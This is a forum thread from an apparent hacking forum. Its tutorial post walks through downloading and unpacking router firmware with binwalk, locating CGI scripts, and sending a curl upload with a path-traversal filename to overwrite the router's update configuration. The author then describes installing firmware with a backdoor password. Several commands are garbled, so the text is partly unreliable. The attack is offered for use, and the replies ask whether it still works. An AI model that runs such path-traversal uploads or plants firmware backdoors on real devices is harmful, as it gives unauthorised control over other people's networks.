

Forum:[Hack Forums](#)

Thread: [\[Tutorial\] How to hack a router's firmware](#)

?eptic - February 4, 2017, 4:33 pm

This tutorial will take you through the basic tools to hack a router's firmware.

Let's get started!?

First step is to download your router's firmware. Usually, you can find your router's firmware on your router's manufacturer's website (In most cases this is used to manually upgrade your router). The format should be .bin

Code `wget -O firmware.bin <link to your router firmware.bin>`

Now we are going to extract this file by using Binwalk. You can download Binwalk [Here](#). The only thing you have to do right now is to install it since there are already bash files which manages the entire process for you. The easiest way is to use Debian.

Code `wget https://binwalk.googlecode.com/files/binwalk-1.2.2-1.tar.gz`

takes `xvzf binwalk- *`

`cd binwalk - * / src`

`./debian_quick_install.sh`

Wait a few minutes until Binwalk is compiled. Once completed, you can test the program by typing the command "Binwalk". If you see any output(s), then you are ready and set to use the Binwalk.

To extract your router's firmware, use the command:

Code `binwalk -e firmware.bin`

`cd _firmware.bin.extracted /`

Here is when the great stuff begins, since you are now inside of your router's firmware. You will find executable files in the / bin and HTML files in the / home / web section. This can vary a lot depending on your router's firmware. To find out where your files are located at you can search from them by typing the following command:

Code `find ./ -name * html`

`find ./ -name * cgi`

`find ./ -name * conf`

Quote:

`./home/www/cgi-bin/upload.cgi`

In my router I found cgi files in / home / www / cgi-bin.

After that I want to perform a test (of course), to visit this address: 192.168.1.100/cgi-bin/upload.cgi

Once I visit the address I got an response that a parameter should be "file". So once again I perform another test with:

Code `curl 192.168.1.100/cgi-bin/upload.cgi -F 'file=@update.conf; file = .. / .. / system / etc /`

update.conf

In update.conf there were links to an FTP that had the firmware stored so I uploaded my own and had then set up an FTP firmware with bypasses, for example that the password "AAA" always works.

And there you have it! Quick review how I hacked into my router without password cracking WPA. This was, as I said very basic but most of the times it is not this easy. But you can use IDA to find vulnerabilities in executable files, etc.

Thank you for reading my tutorial! Feel free to leave some feedback or ask me questions if you have any.?

Buklau - February 6, 2017, 11:47 pm

Posting to check later. Thanks

alioujalan - February 7, 2017, 10:39 am

thx hope that still workin

Last_viking - February 7, 2017, 1:12 pm

Can this hack latest version of router firm ware ?

nookrah - February 7, 2017, 1:14 pm

Will try this out sometimes, thanks OP